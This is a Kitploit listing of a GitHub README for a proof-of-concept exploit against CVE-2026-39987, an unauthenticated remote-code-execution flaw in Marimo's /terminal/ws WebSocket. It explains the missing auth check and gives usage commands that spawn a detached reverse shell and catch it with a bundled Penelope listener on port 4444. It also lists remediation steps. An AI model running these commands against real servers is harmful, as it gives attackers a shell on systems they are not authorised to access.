Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-39987 — Marimo exploit prior to 0.23.0. Pre-Auth RCE vulnerability via websocket endpoint : /terminal/ws. | Kitploit
Tools/GitHubGitHub/gbuyssens/cve-2026-39987
Payload GenerationExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRemote Access Tool
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

Marimo exploit prior to 0.23.0. Pre-Auth RCE vulnerability via websocket endpoint : /terminal/ws.

View Repository
21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-39987 — Marimo Pre-Auth RCE (/terminal/ws)

root@kitploit:~
CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

Pre-authenticated Remote Code Execution in Marimo, a reactive Python notebook server.
A single unauthenticated WebSocket connection to /terminal/ws yields a full interactive PTY shell as the user running the Marimo process (often root in Docker).

Lab / authorized testing only (HTB, CTF, engagement with written scope).


Table of contents

  • Vulnerability summary
  • Root cause
  • Attack chain
  • Affected versions
This repository
  • Install
  • Usage
  • Penelope integration
  • Remediation
  • References

  • Vulnerability summary

    Marimo exposes an integrated terminal over WebSocket at:

    root@kitploit:~
    ws://<host>:<port>/terminal/ws
    wss://<host>/terminal/ws
    

    Other WebSocket routes (notably /ws for the notebook UI) correctly call validate_auth().
    /terminal/ws does not. It only checks:

    1. server is in edit mode
    2. platform supports a PTY

    then immediately:

    root@kitploit:~
    await websocket.accept()
    child_pid, fd = pty.fork()   # full system shell
    

    No cookie, token, password, or Authorization header is required — even when authentication is enabled on the instance.

    Impact: unauthenticated arbitrary command execution with the privileges of the Marimo process. In default container images this is frequently root.


    Root cause

    File (vulnerable tree): marimo/_server/api/endpoints/terminal.py

    root@kitploit:~
    @router.websocket("/ws")
    async def websocket_endpoint(websocket: WebSocket) -> None:
        app_state = AppState(websocket)
        if app_state.mode != SessionMode.EDIT:
            await websocket.close(...)
            return
        if not supports_terminal():
            await websocket.close(...)
            return
        # <<< no validate_auth() / @requires("edit") >>>
        await websocket.accept()
        child_pid, fd = pty.fork()
        # ... bridge WebSocket <-> PTY ...
    

    Compare with the notebook WebSocket (ws_endpoint.py), which does enforce auth:

    root@kitploit:~
    validator = WebSocketConnectionValidator(websocket, app_state)
    if not await validator.validate_auth():
        return
    

    Attack chain

    root@kitploit:~
     Attacker                         Marimo (edit mode)
        |                                    |
        |  WS upgrade /terminal/ws           |
        |----------------------------------->|
        |  101 Switching Protocols           |
        |  (no auth challenge)               |
        |<-----------------------------------|
        |                                    |  pty.fork() → /bin/bash
        |  "id\n"                            |
        |----------------------------------->|
        |  uid=1000(marimo) ...              |
        |<-----------------------------------|
        |  persistent reverse shell          |
        |----------------------------------->|
        |         <======== TCP shell =======|
    
    1. Connect to ws(s)://target/terminal/ws without credentials
    2. Server accepts and spawns a PTY-backed shell
    3. Send keystrokes (commands) over the WebSocket
    4. Optionally spawn a detached reverse shell that survives WS teardown

    Affected versions

    StatusVersions
    VulnerableMarimo <= 0.20.4 (pre-fix)
    FixedMarimo 0.23.0 and later

    Any deployment that exposes the terminal WebSocket (edit mode, PTY supported) without an external auth gateway is in scope.


    This repository

    FileRole
    exploit.pyPoC: command exec + persistent reverse shell + Penelope launcher
    penelope.pyStandalone shell handler (brightio/penelope)
    README.mdThis file

    Install

    root@kitploit:~
    git clone <this-repo> CVE-2026-39987
    cd CVE-2026-39987
    chmod +x exploit.py penelope.py
    

    penelope.py needs no extra dependencies (Python 3.6+ standard library).


    Usage

    1. One-shot command execution

    root@kitploit:~
    python3 exploit.py https://example.lab "id"
    python3 exploit.py https://example.lab  -p
    python3 exploit.py wss://example.lab/terminal/ws "whoami"
    

    What happens:

    1. A forked child waits briefly, then delivers a detached reverse shell via /terminal/ws
    2. The parent process execs Penelope on 0.0.0.0:4444
    3. When the callback hits, Penelope auto-attaches and upgrades the session

    If needed

    root@kitploit:~
    python3 exploit.py -h
    

    Penelope integration

    Penelope is bundled as a standalone script (penelope.py):

    • no install, stdlib only
    • multi-session handler
    • automatic TTY upgrade
    • file upload/download, logging, etc.

    Default flow (-p):

    root@kitploit:~
    exploit.py
       ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
       │
       └── exec ► penelope.py <PORT> -i 0.0.0.0
                        ▲
                        │ TCP callback
                        └── victim
    

    The child is used on purpose: os.execv(penelope) replaces the parent process image, which would kill a background thread.

    Manual Penelope:

    root@kitploit:~
    python3 penelope.py 4444
    python3 penelope.py 4444 -i 0.0.0.0
    python3 penelope.py -a          # show sample payloads for active listeners
    

    Remediation

    1. Upgrade to Marimo >= 0.23.0 (pip install -U marimo)
    2. Do not expose edit-mode notebook servers on the public internet
    3. Put authn/authz at a reverse proxy if the app must be remote
    4. Bind to localhost / private network; use VPN or SSH tunnels
    5. After suspected exploitation: rotate credentials reachable from the host (cloud keys, .env, SSH keys), audit outbound connections and persistence

    References

    • NVD — CVE-2026-39987
    • GHSA-2679-6mx9-h9xc
    • Marimo fix PR #9098
    • Resecurity analysis
    • Penelope shell handler

    Disclaimer

    This project is for authorized security testing, education, and defensive research only.
    You are responsible for complying with applicable laws and the rules of engagement of your lab or client.

    Download Tool